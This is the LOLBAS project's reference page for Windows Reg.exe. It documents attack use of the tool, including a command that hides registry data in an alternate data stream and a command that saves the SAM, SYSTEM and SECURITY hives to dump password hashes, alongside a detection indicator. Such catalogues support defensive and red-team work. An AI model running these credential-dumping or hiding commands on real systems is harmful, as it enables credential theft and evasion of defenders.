LOLBAS. GitHub
LIVING OFF THE LAND / OS BINARIES

Reg.exe

View source

Used to manipulate the registry

ADSCredentials
02COMMAND EXAMPLES
02ATT&CK TECHNIQUES
05DETECTION RESOURCES
02CAPABILITIES
01 / TRADECRAFT

Command reference

2 examples

ADS1

EXAMPLE 01T1564.004

Export the target Registry key and save it to the specified .REG file within an Alternate data stream.

COMMAND
reg export HKLM\SOFTWARE\Microsoft\Evilreg {PATH_ABSOLUTE}:evilreg.reg
USE CASE
Hide/plant registry information in Alternate data stream for later use
PRIVILEGES
User
OPERATING SYSTEM
Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11

Credentials1

EXAMPLE 01T1003.002

Dump registry hives (SAM, SYSTEM, SECURITY) to retrieve password hashes and key material

COMMAND
reg save HKLM\SECURITY {PATH_ABSOLUTE:.1.bak} && reg save HKLM\SYSTEM {PATH_ABSOLUTE:.2.bak} && reg save HKLM\SAM {PATH_ABSOLUTE:.3.bak}
USE CASE
Dump credentials from the Security Account Manager (SAM)
PRIVILEGES
Administrator
OPERATING SYSTEM
Windows Vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
02 / ON DISK

Known paths

C:\Windows\System32\reg.exe
C:\Windows\SysWOW64\reg.exe
03 / DEFENSIVE INTELLIGENCE

Detection & indicators

5 resources

Indicators & detection notes

  • IOC

    reg.exe writing to an ADS

FURTHER READING

Research & resources

COMMUNITY RESEARCH

Acknowledgements

Oddvar Moe@oddvarmoe